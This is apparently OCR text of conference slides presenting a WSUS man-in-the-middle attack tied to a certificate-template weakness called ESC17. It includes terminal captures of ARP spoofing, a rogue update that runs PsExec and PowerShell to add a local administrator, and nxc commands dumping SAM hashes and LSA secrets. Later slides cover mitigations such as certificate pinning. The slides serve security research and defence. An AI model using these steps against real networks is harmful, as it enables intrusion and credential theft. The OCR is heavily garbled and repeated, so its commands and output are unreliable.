if umkm value -ne 1)

f ('Not set’ -ne $token_value) {

Remove-ItemProperty -Path Stoken_path -Name $token_prop_n:

New-ItemProperty -Path $token_path -Name $token_prop_name -Value 1 -PropertyType DWORD > $null;

Add-LocalGroupMember -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member usersz3e2;"
] WsUS Server specified manually: 192.168.33.11:8531
+] Setup done, starting services
*] Starting ARP spoofing for target 192.168.33.13 and spoofing IP address 192.168.33.1
] Configure nftables for NATing incoming packages from 192.168.33.13 with source 192. le8.33.11:8591 1o 192.168.33.2
+] Using TLS certificate "secure.pem’ fOr HTTPS WSUS Server
#] Starting WSUS Server on 192.168.33.2:8531...
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Highjack Traffic and Serve Update

47(ha\)@ka\l)*[#lﬁl]tﬂ:ﬂ:lﬂiﬂ] (ESC17)
§ sudo wsuks -t 192.168.33.13 —-WSUS-Server secure.mecm.sccm.lab -1 eth? —tls-cer: secure.pem

pentasting | run'L for the WSUS WITW Attack
e by Weffigack

[+] Generated local user for the WSUS atta
[!] wARNING: LocalaccountTokenFilterpolicy il 5 0 3 5 P Lo R A S ol ot W) T 0 (T s (o,
+] Command to execute:

PsEﬁe:i'! .exe faccepteula /s pﬂershell EXE "New-LocalUser 'lli!ﬁ HSeI‘!l]DE -Passunrﬂ $(cor ETgL -Force) $(
token_path =
token prop_nane = -LocalAccountTokenFiLterPalicy ;
token_valu $(Get-Item -Path $token_path). c»eWa'Lueciwken_prn _name , Snuu);
token value = if ($null -eq $token value) { ‘Not set’ } elsa { Sioken value };
“value of lterPolicy: ' + $token_value);

£ mak-n n‘Lue ne

F ('Not set' -ne $(okan value)

ne-nn ItemProperty -Path $:uk=n _path -Name $token_prop_name;

New-ItemProperty -Path $token_path -Name $token_prop_name -Value 1 -PropertyType DWORD > $null;

Add-LocalGrouphenber -Group $(Get-LocalGroup -SID S-1-5-32-544 | Select Name) -Member users2302
+] WSUS Server specified manually: 192.168.33.11:8531

*] setup done, starting services ——

+] Starting ARP spoofing for target 192.168.33.13 and spoofing IP address 192.168.33.11

+] Configure nftables for NATing incoming packages from 192.168.33.13 with source 192.168.33.11:8531 to 192.168.33.2
+] Using TLs certificate ‘secure.pen’ for HTTPS WSUS Server

+] Starting WSUS Server on 192.168.33.2:8531 ...
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Highjack Traffic and Serve Update

[—(kali@ kali)-[~/Git/tmp/Certipy] (£sC17)
S-Server secure.mecm.scem.lab -1 eth? —tls-cert Secure.pem

1§ sudo wsuks -t 192.168.33.13 —WSUS-:

\
(2 T

Pentesting Tool for the WSUS MITM Attack
Made by NeffIsBack

1.0.1
[+] Generated local user for the WsUS attack: i
[!] WARNING: LocalAccountTokenFilterPolicy will be to 1 to allow remote administrative comnections with local accounts. See README for details.
[+] Command to execute:
e users2302 -Password $(ConvertTo-SecureString ETguiPnkpaeBuViH -AsPlainText -Force) -Description §(

PsExecé.exe /accepteula /s powershell.exe “New-LocalUser -i:
$token_path = 'HKLM: F t\Wind
Stoken_prop_name = 'LocalAccountTokenFilterPolicy';
$token_value = $(Get-Item -Path $token_path).GetValue($token_prop_name, $null
Stoken_value = if (Snull -eq Stoken_value) { "Not set’ } else { Stoken_value
Write-Output ('Value nr LocalAccountTokenFilterPolicy: ' + $token_value);

if (Stnken value -ne

if ('Not set’ -ne $tokin value) {
Remove-ItemProperty -Path $token_path -Name $token_prop_n:

Po’ y

New-ItemProperty -Path $token_path -Name $token_prop_name -Value 1 -PropertyType DWORD > $null;

i
Add-LocalroupMenber -Group $(Get-Localoroup -SID S-1-5-32-544 | Select Name) -Member users230z;"
[(] WSUS Server specified manually: 192.168.33.11:8531

setup done, starting services
[¢] Starting ARP spoofing for target 192.168.33.13 and spoofing IP address 192.168.33.11
[+] Configure nftables for NATing incoming packages from 192.168.33.13 with source 192.168.33.11:8531 to 192.168.33.2
[#] using TLS certificate 'secure.pem’ for HTTPS WSUS Server
[#] Starting WSUS Server on 192.168.33.2:8531...

Now we wait
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Highjack Traffic and Serve Update

(kali® kali)- (~/Git/tmp/Cextipy] (£5C17)
$ sudo wsuks -1 192.168.33.13 —WsUS-Server secure.mecm.sccm.lab -1 eth2 —tls-cert secure.pem

s
| | I G

AV VAN e N

RS S T O T N |
v ol N I AW /

Y S
AN A

Pentesting. Tacl for the WSUS MITH Attack
e by Nefflstack
)

[+] Generated local user for the WSUS attack
LocalaccountTokenFilterPolicy will be to 1 to allow Temote administrative connections with local accounts

[1] waRNING:

[+] Comnand to execute:

PsExecki. exe Iacup(lula /s pomershell.exe “New-Locallser -Mame user82302 -Passward $(ConvertT ing ETgui
y i

token_path = "HKLM:\
token_prop_name - 'LocalAccountTokenFilterPolicy
token_value = $(Get-Item -Path $token_path). r,uunu.(smkan prop_name, $null);
!nken value = 1f ($null -eq $token_ va\.ue) { "Not set' } else { Stoken_value ).
{'Value of ilterPolicy: ' + Stoken_value);
i ($token_value -ne 1) {
if ('Not set' -ne $token_value

Remove-ItemProperty -Path $(nk!n_pltl| -Name $token_prop_name;

New-ItemProperty -Path $token_path -Name $token_prop_name -Value 1 -PropertyType DWORD > $null;

See README for details.

-Force) -Description $(

)i

t -Group $(Get-|.om.ﬁroun -sm s 1-5-3:-544 | select Name) -Member users23ez;”

#] WSUS Server specified manually:

* Setup done, starting services

*] Starting ARP spoofing for target 192.168.33.13 and spoofing IP address 192.168.33.1

*] Configure nftables for NATing incoming packages from 192.168.33.13 with source 192. le8.33.11:8591 1o 192.168.33.2

] Using TLS certificate "secure.pem’ fOr HTTPS WSUS Server

A NS A0 iedaiadd — -

+] Received POST request: /ClientWebService/client.asmx, SOAP Action: 'hup:ﬂr—d.nicrcsnl /Clientwebservi P

+] Received POST request: /SimpleAuthiebService/SimpleAuth.asmx, SOAP Action: "hTtp://wm.microsoft.com/SoftwareDistribut &/GeTAUthor onCockie™
+] Received POST request: /ClientWebService/client.asmx, SOAP Action: 'nm: /1 wan .microsoft. i ookie®

+] Received POST request: /ClientWebService/client.asmx, SOAP Action: “http://wws.microsoft.c Dis yat ice, -
+] Recelved GET request: /echis:

+] GET request for e Exechs.exe

+] Received GET request: /ec 64 exe

+] GET request for exe: 3

C

[#] Stopping WSUS Server ...

ESC17

45 / 57



Profit

E[kali@ kali)-[~/Git/tmp/Certipy] (Esci7)
$ nxc smb 192.168.33.13 -u user82302 —p ETguiPmXpaeBvVWH --lu(al auth

192.168.33.13 445  CLIENT [*] Windows 10 / Server 2019 Build 17763 x64 (name CLIENT) (domain:CLIENT) ( ) (SMBv1:None)
SMB. 192.168.33.13 445 CLIENT [+] CLIENT\user82302:ETguiPmXpaeBvVWH (Pun3d!

L—(kaur*kau) [~/Git/tmp/Certipy] (EsC17)
nxc smb 192.168.33.13 -u user82302 —p ETguiPmXpaeBVWWH —local-auth —sam —lsa

SHB 192.168.33.13 445  CLIENT [*] windows 10 / Server 2019 Build 17763 x64 (name:CLIENT) (domain:CLIENT) ( ) (SMBv1:None)
SMB 192.168.33.13 445 CLIENT [+] CLIENT\user82302:ETguiPmXpaeBvVWH (Pun3d!

SMB 192.168.33.13 445 CLIENT [*] Dumping SAM hashes

SHB 192.168.33.13 445  CLIENT Administrator:500:aad3b435b51404eeaad3ba3shs:

SMB 192.168.33.13 445 CLIENT Guest:501: aad3b4a35b51404eeaad3b435b51404ee : 31d6c fe@d16ae931b73c59d7e0c089c0
SMB 152.168.33.13 445 CLIENT 1404ee:! T
SHB 192.168.33.13 445  CLIENT WDAGUtiLityAccount :504 :aad3b435b51404eeaad3b435b51404ee: 73532 1419edbcafu7456751eeadh237
SMB 192.168.33.13 445 CLIENT va; £71d91.
SuB 192.168.33.13 445  CLIENT localAdmin:
SHB 192.168.33.13 445 CLIENT user56861: 1027:aad3b435b51404eeaad3b435b5
SHB 192.168.33.13 445  CLIENT user79571: 1028:aad3b435b51404eeaad3b435h51404ee : bhefc2cBba6ak99275330255F2453d7e
SMB 192.168.33.13 445 CLIENT user29814:1029:aad3b435b51404eeaad3b435b51404ee: 723ffeal6b627d4158c768d48899d645
SMB 192.168.33.13 445 CLIENT user@9548:1030: aad3b435b51404eeaad3b435b5:
SHB 192.168.33.13 445 CLIENT users2302: 1031:aad3b435b51404eeaad3b35b51404ee : 45146 C7722eb5 585c2FF1d28215838b4
SHB 192.168.33.13 445  CLIENT [+] Added 11 SAM hashes to the database
SMB 192.168.33.13 445 CLIENT [+] Dumping LSA secrets
SMB 192.168.33.13 445 CLIENT i DCC ice#d65d : (2025-09-21 16:20:45)
SMB 162.168.33.13 445 CLIENT ESZSS-:!S—MIIC—S.H 5 27£533 7f67F
SMB 192.168.33.13 445 CLIENT hal- 647dcof
SMB 192.168.33.13 445 CLIENT SCCMLAB\CLIENT! des :b(—de thEb057ikf13729
SuB 192.168.33.13 445 CLIENT SCCMLABNCL _password_hex:cf: 1 1af1f8b1
33 27b29101 d f75d52c3931Fe534e b3dctfea5d0c2: 2b77d9b2 2317
Ocf 86C93. 13ab5afoc
SMB 192.168.33.13 445 CLIENT SCCMLAB\CL $ 1404ee:12:
SHB 192.168.33.13 445  CLIENT dpapi 1 i 1cd4ub951
dpapi_L y 12bd2a5f6dasa2k
33.13 445 CLIENT [+] Dumped 7 LSA secrets to /home/kali/.nxc/logs/lsa/192.168.33.13_None_2025-10-09_180025.secrets and /home/kali/.nxc/logs/1sa/192.168.33.13_Non

£ 192.168.
©_2025-10-09_180025 . cached
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Demo



Mitigation & Future Research



ions Protecting WSUS

* Microsoft could
m Limit updates to certain certifica

xander Neff, Phil Kniifer
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Mitigations Protecting WSUS

Turns out: They actually did, but nobody realized

"Starting in Configuration Manager 2103, you can further increase the se-
curity of HTTPS scans against WSUS by enforcing certificate pinning. To
fully enable this behavior, add certificates for your WSUS servers to the new
WindowsServerUpdateServices certificate store on your clients and ensure
certificate pinning is enabled through Client Settings."

Source: https://learn.microsoft.com/en-us/intune/configmgr/sum/get-started/software-update-point-ssl
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Mitigations Protecting WSUS

Certificate pinning — available since 2021

Probably caused by GoSecure research (shoutout to them!)

Hidden in Configuration Manager documentation
Works with every WSUS installation

... but needs manual setup
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Mitigations Protecting WSUS

This talk might contain one-day wtinrerabilitiesfixes

File Action

ed To ’ Issued By Expiration Date  Intended Pury Friendly N

mecm.scemlab @ ¢ c-ca + Authentication
Settings

Enterprise Trust

Intermediats

[ Trusted Publ .
@ Home

Windows Update

Delivery Optimization

| Certificates Windo

Windows!
T Cetificates
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The Bigger Picture: ESC17

WSUS can be configured securely — but it's not the default
Relies on PKI and certificates to be trustworthy

EKU Server Authentication leads to RCE

Identification through classification: ESC17
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Mitigation: ESC17

® Very similar to ESC1
® Restricting EKU is not a solution!

* Modify certificate template

m Restrict Enrollee Supplies Subject
m Restrict enrollment rights
m Require, e.g., Manager Approval
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Future Research

* Other Microsoft protocols?

= SCCM(?)
= WinRM(?)

¢ Third party (software) mangagement tooling

e and of course: there's always the "intercept and look for interesting data" approach

!Side note: Windows Update and Intune-managed clients use different mechanisms and are not
susceptible to this attack
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Summary

Essentially:
* If you are able to enroll (server auth) certificates. ..

e ...you can eavesdrop on any TLS-based communication that does not explicitly
protect against MitM

® (yes, it's that simple)

® Sometimes immediate control over systems (WSUS)

® there might be completely different ideas
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Thank You!

Questions & Discussion

Alexander Neff, Phil Kniifer

Y [neff|knuefer]@digitrace.de
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